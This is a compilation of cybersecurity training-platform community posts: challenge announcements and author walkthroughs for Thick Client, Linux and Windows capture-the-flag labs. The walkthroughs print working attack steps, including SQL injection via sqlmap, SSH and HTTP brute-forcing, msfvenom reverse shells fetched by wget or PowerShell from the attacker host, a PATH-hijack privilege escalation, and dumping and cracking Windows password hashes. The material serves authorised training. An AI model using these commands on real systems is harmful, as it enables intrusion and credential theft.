The Human Connection Challenge Season 1 Finale is Here!
Since November we’ve been dropping a monthly community lab challenges and awarding limited edition challenge coins to the members who were: 🥇 First to Finish ⏱️ Fastest to Complete 🎯 Most Accurate 💪 Most Persistent However, all good things must come to an end, and so this month’s challenge will be the last of Season 1. But please don’t fret! To celebrate this occasion we have some awesome prizes up for grabs for anyone who completes a challenge lab before the 2nd June: 🥇 Tickets, Flights & Accommodation to an Immersive Summit in NYC or London 🥈 2 x PlayStation®5 Consoles 🥉 10 x Apple AirPods or JBL Headphones 👕 Much coveted Immersive swag and goodies! You can read all about the competition (including full terms and conditions) here. Ready to level up your cybersecurity skills and win some cool stuff? Dive into The Human Connection Challenge: Season 1 collection to get started!Cyber Countdown: Day 1
Lab of the Day Every day we’re revisiting a standout lab from the past year—highlighting its impact and the skills it helped build, whilst also introducing you to the experts who built it. To get us started, today’s lab is of course Episode 2 of our Community Challenge -Scanning. In this lab we’ll test your scanning and enumeration skills but other than that, you’ll find limited information available to guide you. Lab author BethHolden, Cyber Security Engineer here at Immersive Labs is passionate about offensive cybersecurity and created this challenge as a little Christmas treat. The lab contains a range of tools which may provide multiple ways to solve the challenge, she’s eager to see how well you fare – good luck! As a reminder, we reward the top performing community members in the following categories: 🥇 First to Finish ⏱️ Fastest to Complete 🎯 Most Accurate 💪 Most Persistent 🎁 Spot Prizes In addition, at the end of each month, the lab author will provide a walkthrough to guide you through the lab and share hints, tips and expert advice on how to approach similar labs in the future. We also encourage you to submit your own walkthrough guides to community@immersivelabs.com and we will feature any unique approaches in their own Community Walkthrough Guide. You can read more about Season 1 of the Human Connection Challenge here. To be in with a chance of a prize you have until midnight on Sunday 22nd December 2024 to complete episode 2! To find the lab in the Immersive Labs Platform, Click Exercise > Challenges & Scenarios > The Human Connection Challenge: Season 1 > Scanning 🔔 Don’t miss out – there are 5 more labs to come in this challenge series. Make sure you're following the CHALLENGES Tag to get notified as soon as each one is released. Good Luck!Labs Live Special: The Human Connection Season Finale
Join us for a special Labs Live event celebrating the conclusion of The Human Connection Challenge: Season 1! As we wrap up this highly anticipated challenge, we're hosting a live webinar featuring the one and only Stefan Apostol, the "evil genius" and author behind the labs! The Human Connection Challenge: Season 1 tasked cyber professionals like you with tackling 7 never-before-seen labs covering a range of critical offensive security topics, from Basic OS Skills to Active Directory. It's been an epic season of skill-polishing, resilience-building, and demonstrating expertise within the community. In this session, Stefan will leverage the interactive Labs Live format for episode 7: Active Directory. He'll share his techniques, explain the intended solutions, and answer your burning questions live. Whether you crushed all 7 labs, or tried a couple, this is a unique opportunity to learn directly from the source. Haven't completed the labs yet? There's still time to be a Season 1 Winner! Complete one or more of the seven challenge labs in The Human Connection Challenge: Season 1 collection before the deadline of Monday, 2nd June 2025, to be entered into our exclusive Season Finale Prize Draw. Every lab you complete gives you one entry, so completing all seven gives you seven chances to win incredible prizes. More details here.The Human Connection Challenge: Season 1 Episode 7 Is Now Live!
The 7th and final episode of Season 1 is here! Prove you skills in this Active Directory challenge! Welcome to the seventh instalment of the Human Connection Challenge: Season 1. This lab tests your ability to move around Active Directory and abuse its misconfigurations. As this is a challenge lab, you'll find limited information available to guide you. However, we've recently released the Introduction to Active Directory Attacks collection, where you can learn some of the most common AD attacks. This, combined with our already existing Kerberos collection, should give you all the tools necessary to complete this challenge. If you're new to the challenge, we reward the top-performing community members in the following categories with physical and digital challenge coins: 🥇 First to Finish ⏱️ Fastest to Complete 🎯 Most Accurate 💪 Most Persistent 🎁 Spot Prizes What's more, as this is the final episode of the season, we have some awesome prizes up for grabs if you complete one or more challenge lab before the 2nd June (Read more here). When the challenge ends, lab author StefanApostol will provide a walkthrough to guide you through the lab and share hints, tips and expert advice on how to approach this lab, so you can compare notes and learn techniques for the future. You're also very welcome to submit your own walkthrough guides to community@immersivelabs.com because we know that there are multiple methods you take to complete the challenge labs. We'll showcase any unique approaches taken. You can read more about Season 1 of the Human Connection Challenge here. To be in with a chance of a challenge coin you have until midnight on 23:59 BST on Sunday 1st June to complete episode 7! To find the lab in the Immersive Labs Platform, Click Exercise > Challenges & Scenarios > The Human Connection Challenge: Season 1 > Active Directory Good luck! 🤞Human Connection Challenge Lab 6: Thick Client Applications Walkthrough Guide (Community Version)
Time’s Up! Congratulations to everyone who completed Lab 6: Thick Client Applications from the Human Connection Challenge: Season 1. In this walkthrough, I'll share some strategies for efficiently completing the lab based on my perspective as the author. Remember, there are often multiple ways to approach a challenge, so if you used a different method and succeeded, that's perfectly fine! This challenge has now ended, but the lab remains available for practice. While prizes are no longer up for grabs, you can still complete the lab and use this walkthrough guide for support if needed. Throughout this walkthrough, placeholders will be used for target IPs in brackets, such as <Kali IP>, <API IP>, or <Thick Client IP>. Simply replace this with the actual IP of your Kali instance or the specific target. Let's get started! Begin this challenge by setting up your Thick Client application with the API’s IP address. Go to the Remote Data Browser folder , right-click configuration.conf, then click Open with Notepad, and replace the original <IP:5000> with <API IP> or <API IP:80>. Task 1 Task 1 requires you to input a token that you’re meant to receive after you first log in to the Remote Data Browser application with the username and password provided in the Credentials panel. However, after logging in, the application doesn’t present any token. Under normal circumstances, when testing Thick Client applications, you’d have tools like ProcMon running while using the application to check for interactions with the file and operating system. In this lab, however, you can simply go back to the Remote Data Browser application’s folder. You’ll see that a token file has been created. Open it to find the token. Task 2 The second task asks for an admin token. However, you can’t access any admin panel through the application’s interface, meaning the role is set on login. First, open Burp Suite Community on your Thick Client machine. Then, set your System Proxy as follows: Go to Proxy settings > Manual proxy setup Toggle Use a proxy server to "on" Set the IP address as 127.0.0.1 Set the port as 8080 After everything is set up, turn on the Intercept feature of Burp Suite and log back into the application. On the login request, right click anywhere in the request panel and click Do intercept > Response to this request. This will result in a successful authentication response. It contains a JWT token that can be used in subsequent requests, the username that was used, and the current user’s role. From the response, you can assume that the API doesn’t tie the role to the session and instead sends it as a parameter to the application. The application then evaluates the role and presents the user with the appropriate panels. Now you can change the role in the response from user to admin. This will reveal a token in the Remote Data Browser application. Task 3 The final task asks for “the secret token in management”. Again, the application doesn’t offer this option. Clicking any of the vehicles, however, results in a Burp Suite request. The application sends this request to the server when selecting the truck option, along with the JWT received during the login phase. Since the vehicle parameter is the only one, you should focus on it for your final challenge. Adding an extra quote (‘) to the vehicle parameter returns the error “SQL query failed”. You can now safely assume this is vulnerable to SQL injection. Copy the original request into a file, retrieve.sqlmap, in your Kali box, and run sqlmap as follows: sqlmap -l retrieve.sqlmap --dump After hitting ENTER a few times (accepting SQLmap’s default options), you’ll be presented with your final token. Tools For this challenge, you’ll use a range of tools including: Burp Suite SQLMap Kali Tips When testing for Thick Client application vulnerabilities, remember that vulnerabilities may reside in any part of the application. Subtle elements that appear unimportant could prove exploitable if they don’t handle inputs securely. So make sure you check all user input forms and any buttons that direct you to different parts of the application. Although not required for this lab, you should always monitor operating and file system interactions and attempt to decompile the app to uncover all possible attack vectors. To learn more about some of the tools used in this lab, take a look at the following collections: Windows Basics Burp Suite Basics SQL Injection Conclusion The steps I’ve laid out here aren’t the only way to find the answers to the questions. As long as you find the answers, you did it – well done! If you used an alternative method, or think there’s a better route to find some of the answers, let us and the rest of the community know in the comments below! I hope you enjoyed the challenge and are looking forward to the next one, after which I’ll share another walkthrough guide!The Human Connection Challenge: Season 1 Episode 6 Is Now Live!
Welcome to the sixth instalment of the Human Connection Challenge: Season 1. This lab tests your ability to analyze and exploit Thick Client applications. As this is a challenge lab, you'll find limited information available to guide you. Good luck! 🤞 If you're new to the challenge, we reward the top-performing community members in the following categories with physical and digital prizes, like our all-new challenge coin: 🥇 First to Finish ⏱️ Fastest to Complete 🎯 Most Accurate 💪 Most Persistent 🎁 Spot Prizes When the challenge ends, lab author StefanApostol will provide a walkthrough to guide you through the lab and share hints, tips and expert advice on how to approach this lab, so you can compare notes and learn techniques for the future. You're also very welcome to submit your own walkthrough guides to community@immersivelabs.com because we know that there are multiple methods you take to complete the challenge labs. We'll showcase any unique approaches taken. You can read more about Season 1 of the Human Connection Challenge here. To be in with a chance of a prize you have until midnight on Sunday 20th April to complete episode 6! To find the lab in the Immersive Labs Platform, Click Exercise > Challenges & Scenarios > The Human Connection Challenge: Season 1 > Thick Client 🔔 There are 7 labs within this series so make sure you're following the CHALLENGES Tag to get notified as soon as the final lab is released! Now it's time to take on that challenge! Let us know how you got on in the comments below!The Human Connection Challenge Lab 4: Linux Walkthrough Guide (Community Version)
Congratulations to those who completed Lab 4 of the Human Connection Challenge: Season 1! We're aware that some of you are still attempting this lab, and so community member steven has created an unofficial video walkthrough guide offering their perspective and methods to help you along the way. This resource is for those still working on the lab or wanting to compare approaches. Remember, multiple solutions exist, and learning is the key goal. An official walkthrough written by the lab author StefanApostol is also available here.The Human Connection Challenge Lab 4: Linux Official Walkthrough Guide
Time’s Up! Congratulations to everyone who completed Lab 4: Linux from the Human Connection Challenge: Season 1. In this walkthrough, I'll share some strategies for efficiently completing the lab based on my perspective as the author. Remember, there are often multiple ways to approach a challenge, so if you used a different method and succeeded, that's perfectly fine! This challenge has now ended, but the lab remains available for practice. While prizes are no longer up for grabs, you can still complete the lab and use this walkthrough guide for support if needed. Throughout this walkthrough, placeholders will be used for target IPs in brackets, such as <Kali IP> or <Target IP>. Simply replace this with the actual IP of your Kali instance or the specific target. With all that considered, let's get started. Overview This challenge is in no way linear and you could start with any of the targets listed in the Machines panel. This walkthrough will attack them in order, but it’s up to you which one you try first! For privilege escalation techniques, I won’t go through each enumeration step (to keep this walkthrough from being 70 pages long!). I’ll simply talk through the technique that helped escalate privileges. Target 1 First thing’s first, as with any pen test, Nmap! nmap -Pn -sVTC -p- <Target 1 IP> Here’s a breakdown of the flags used in this command: -Pn: Skip ping scanning -sVTC: Service (V)ersioning, (T)CP scanning, Default S(C)ripts -p-: All ports (1-65535) Scanning all ports reveals that a Redis server is running version 4.0.1 on the target host. Since you have a version number, the next step is to identify any public exploits you could use. A quick Google search for the version reveals there is a Metasploit module available for this. First, fire up Metasploit as root with: sudo msfconsole Then, set all the necessary parameters needed for the exploit: set srvhost <Kali IP> set lhost <Kali IP> set rhosts <Target 1 IP> Then simply run the module. Since the module was successful, you’ll get a connection back to your Kali machine’s listener. Dropping into a shell reveals that you are root, and you can read the token to complete the first Target. Target 2 Initial access Back to square one. Since you don’t know anything about the second target, you must Nmap it and see what services it’s running. nmap -Pn -sVTC -p- <Target 2 IP> Since the only running service is SSH and the version doesn’t look like it would be vulnerable to any known exploits, you can attempt to connect to it and hope to gather more information. ssh <Target 2 IP> The SSH banner mentions the system is “reserved for john and friends”. Even though you aren’t friends with john, you now know that “john” is a valid system user so you can attempt a dictionary attack against this user. hydra -l john -P /usr/share/wordlists/metasploit/burnett_top_500.txt ssh://<Target 2 IP> The dictionary attack will reveal a valid password, trustno1. You can now use this password to log in as john over SSH and get the low-level token. ssh john@<Target 2 IP> Privilege escalation Now that you have access to the target, you can attempt to escalate your privileges. One of the methods is to find SUID binaries owned by root. These are binaries that can be executed with the privileges of their owner. If you can find one that uses another binary from the $PATH variable, you could exploit this behavior to escalate your privileges. find /usr/local/bin -perm -4000 Checking for SUID binaries reveals /usr/local/bin/ls-lh. After dumping the strings of this binary, you can see that it uses ls from $PATH. This is extremely dangerous, as any user could escalate privileges by creating a binary called ls, adding it to a writable directory, and exporting their PATH to first contain this directory before anything else. And that’s precisely what you’ll do to exploit this! First, create a file in /tmp called ls.c. touch /tmp/ls.c Then, add the following code that will spawn bash when run: #include <stdlib.h> int main(){ system("/bin/bash"); } Finally, compile this to /tmp/ls, add /tmp as the first location of the PATH variable, and run the original SUID binary. gcc -o /tmp/ls /tmp/ls.c export PATH=/tmp:$PATH ls-lh /root Target 3 Initial access Again, start with an Nmap scan to see what services are running on the target host. nmap -Pn -sVTC -p- <Target 3 IP> You can see from the output that the target is running an Apache webserver titled anna’s website. You can extend your Nmap command to run all HTTP scripts that don’t attempt brute forcing or DoS-ing against the target and try to uncover more information. nmap -Pn -sVTC --script="http* and not(brute or dos)" <Target 3 IP> This reveals that the target is running webdav. However, the status code returned is 401, which means you need valid credentials to access this. You know the username is anna, you just need to find the password. hydra -l anna -P /usr/share/wordlists/metasploit/burnett_top_500.txt -f <Target 3 IP> http-get /webdav This command reveals the password 123456. Unfortunately, your Kali instance doesn’t have a webdav client such as cadaver, but creativity is part of a pen tester’s job! Instead, use Metasploit’s windows/http/xampp_webdav_upload_php to get a reverse shell. Even though the target is Linux, this will still work because it uploads PHP. However, while the exploit is running, you must access the uploaded file manually to trigger it. use windows/http/xampp_webdav_upload_php set rhosts <Target 3 IP> set filename shell.php set username anna set password 123456 exploit Once the exploit module is triggered, you can access the uploaded file from a different terminal: wget http://anna:123456@<Target 3 IP>/webdav/shell.php And, of course, this triggers the reverse shell and you get a connection back to your Metasploit listener. Privilege escalation Checking crontab, you can see there is a recurring job run by root that clears webdav. The permissions on this file allow it to be modified by anyone. At this point, you could, in theory, just make it read the root token into a world-readable file and finish the challenge. But did you really hack it if you don’t have interactive access? First, generate a reverse shell using msfvenom: msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=<Kali IP> lport=443 -f elf > shell.elf Then, serve it using Python: sudo python -m http.server 80 Then, set up your Metasploit listener (since the port is 443, remember to run Metasploit as root): use multi/handler set payload linux/x64/meterpreter/reverse_tcp set lport 443 set lhost <Kali IP> exploit And finally, you can modify the file run by the cron job to trigger your exploit. echo “wget http://<Kali IP>/shell.elf; chmod +x shell.elf; ./shell.elf” > /tmp/clear-dav.sh Once the job is triggered, it first downloads the file from your HTTP server. Then, you get a connection back to your Metasploit listener. Tools For this challenge, you’ll use a range of tools including: Nmap Metasploit Python GCC Hydra Tips When testing for vulnerabilities, remember that vulnerabilities may reside in any part of the target infrastructure. Subtle elements that appear unimportant could prove exploitable. So make sure you leave no stone unturned and check every single aspect of the target server. To learn more about some of the tools used in this lab, take a look at the following collections: Moving Around Secure Testing: Beginner Credential Access Privilege Escalation: Linux Introduction to Metasploit Conclusion The steps I’ve laid out here aren’t the only way to find the answers to the questions. As long as you find the answers, you did it – well done! If you used an alternative method, or think there’s a better route to find some of the answers, let us and the rest of the community know in the comments below! I hope you enjoyed the challenge and are looking forward to the next one, after which I’ll share another walkthrough guide!The Human Connection Challenge Lab 5: Windows Official Walkthrough Guide
Time’s Up! Congratulations to everyone who completed Lab 5: Windows from the Human Connection Challenge: Season 1. In this walkthrough, I'll share some strategies for efficiently completing the lab based on my perspective as the author. Remember, there are often multiple ways to approach a challenge, so if you used a different method and succeeded, that's perfectly fine! This challenge has now ended, but the lab remains available for practice. While prizes are no longer up for grabs, you can still complete the lab and use this walkthrough guide for support if needed. Throughout this walkthrough, placeholders will be used for target IPs in brackets, such as <Kali IP> or <Target IP>. Simply replace this with the actual IP of your Kali instance or the specific target. With all that considered, let's get started. Overview This challenge isn’t linear, meaning you can start with any of the targets listed in the Machines panel. This walkthrough will attack them in order, but it’s up to you which one you try first! For privilege escalation techniques, I won’t go through each enumeration step (to keep this walkthrough from being 70 pages long!), I’ll simply talk through the technique that helped escalate privileges. Target 1 As always, when you don’t know anything about a target machine, you Nmap first. nmap -Pn -sVTC -p- <Target 1 IP> Here’s a breakdown of the flags used in this command: -Pn: Skip ping scanning -sVTC: Service (V)ersioning, (T)CP scanning, Default S(C)ripts -p-: All ports (1-65535) Nmap reports that it got a 401 Unauthorized when doing an HTTP GET on port 80 but didn’t get the WWW-Authenticate header. This is not something you generally see because these two usually go hand in hand. Visiting the page confirms the 401 Unauthorized. However, checking the source code reveals the credentials IMLUser:hidd3n. These credentials won’t work for remote desktop protocol (RDP), but they will give you access to server message block (SMB). They’ll also give you access to C. C$ is a hidden share that requires administrator access, but C is a normal share and can be accessed by this user. Listing the Windows directory, the to-backup folder stands out, as it’s the only non-default folder. Browsing it reveals backups of SAM, SYSTEM, and SECURITY hives. These can be transferred offline and reconstructed to obtain local user hashes. get SAM.backup get SECURITY.backup get SYSTEM.backup impacket-secretsdump -sam SAM.backup -security SECURITY.backup -system SYSTEM.backup You can now either pass the hash and log in as administrator, or try to crack it. Both are valid methods, but this is the way to crack it: echo <Administrator Line> > hash john hash --wordlist=/usr/share/wordlists/rockyou.txt --format=NT And you’ll get the credentials Administrator:blink182. Now you can log in over RDP and get your first token! xfreerdp /v:<Target 1 IP> /u:Administrator /dynamic-resolution +clipboard Target 2 Initial access Nmapping the second target reveals a website titled “Password Manager”. nmap -Pn -sVTC -p- <Target 2 IP> Upon visiting the website, you’ll see its URL is 10.102.38.73. It asks the user to choose a game from a drop-down box and submit their choice. Once a game is selected (such as World of Warcraft), it adds a parameter to the URL, which then becomes http://10.102.38.73/?game=WOW. You can scan this with SQLMap using the following command: sqlmap -u http://<Target 2 IP>/?game=* This will confirm that the target is vulnerable to SQL injection, so you can use the following command to gain code execution on the target host: sqlmap -u http://<Target 2 IP>/?game=* --os-shell With the ability to execute commands on the target system, you can now read the token. Privilege escalation Since the previous shell is limited, you can upload and execute a reverse Meterpreter shell to use all its privilege escalation functions. First, create the Meterpreter shell and serve it over HTTP using Python. msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=<Kali IP> lport=443 -f exe > shell.exe sudo python -m http.server 80 In a different terminal, run your Metasploit listener. sudo msfconsole use multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost <Kali IP> set lport 443 exploit Finally, in your SQLMap’s OS shell, run the following commands to download and trigger your payload: powershell wget http://<Kali IP>/shell.exe -o C:\users\iis-admin\shell.exe C:\users\iis-admin\shell.exe Once you hit enter a second time you’ll get a connection back to your listener. Metasploit has a variety of post-exploitation modules you can try, but the one that will work is exploit/windows/local/service_permissions. Of course, you can do this with PowerUp or any other privilege escalation tool of your choice, but Metasploit just automates the exploitation process better in this case. use exploit/windows/local/service_permissions set session 1 exploit The module will first enumerate all local service permissions. Once it finds one that runs under a higher privilege user and it can modify, it automatically exploits this service and starts a new metasploit session under this new user. You’ll then find the token on the desktop. Target 3 Initial access Nmapping the second target reveals only two running services, SMB and RDP. nmap -Pn -sVTC -p- <Target 3 IP> Enumerating the SMB service reveals that guest access is enabled. The listing also shows a share called Shared. smbclient -L \\\\<Target 3 IP> -U guest smbclient \\\\<Target 3 IP>\\Shared -U guest You should soon reach the file reply.txt, which contains the password for the user IMLUser. With your newly found credentials (IMLUser:Shar3dPass), you can now RDP into the target. xfreerdp /v:<Target 3 IP> /u:IMLUser /p:Shar3dPass /dynamic-resolution You’ll find the first token in a file on the Desktop. Privilege escalation This privilege escalation technique is a rather classic one. After local file enumeration, you can find the Administrator password in C:\Windows\Panther\Unattend.xml and use it to run CMD as administrator and find the final token. Tools For this challenge, you’ll use a range of tools including: Nmap Metasploit Python SQLMap smbclient Tips When testing for web application vulnerabilities, remember that vulnerabilities may reside in any part of the application. Subtle elements that appear unimportant could prove exploitable if they neglect to handle inputs securely. So make sure you check all user input forms and any buttons or links that direct you to different parts of the application. To learn more about some of the tools used in this lab, take a look at the following collections: Windows Basics Privilege Escalation: Windows Introduction to Metasploit SQL Injection Conclusion The steps I’ve laid out here aren’t the only way to find the answers to the questions. As long as you find the answers, you did it – well done! If you used an alternative method, or think there’s a better route to find some of the answers, let us and the rest of the community know in the comments below! I hope you enjoyed the challenge and are looking forward to the next one, after which I’ll share another walkthrough guide!The Human Connection Challenge: Season 1 Episode 5 Is Now Live!
Each new challenge lab introduces a new area designed to put you to the test. This month, we're calling for you to show off your Windows skills! If you're new to the challenge, we reward the top-performing community members in the following categories with physical and digital prizes, like our all-new challenge coin: 🥇 First to Finish ⏱️ Fastest to Complete 🎯 Most Accurate 💪 Most Persistent 🎁 Spot Prizes When the challenge ends, lab author StefanApostol will provide a walkthrough to guide you through the lab and share hints, tips and expert advice on how to approach this lab, so you can compare notes and learn techniques for the future. You're also very welcome to submit your own walkthrough guides to community@immersivelabs.com because we know that there are multiple methods you take to complete the challenge labs. We'll showcase any unique approaches taken. You can read more about Season 1 of the Human Connection Challenge here. To be in with a chance of a prize you have until midnight on Sunday 23rd March to complete episode 5! To find the lab in the Immersive Labs Platform, Click Exercise > Challenges & Scenarios > The Human Connection Challenge: Season 1 > Windows 🔔 Don’t miss out – there are 4 more labs to come in this challenge series. Make sure you're following the CHALLENGES Tag to get notified as soon as each one is released. Good Luck! 🤞
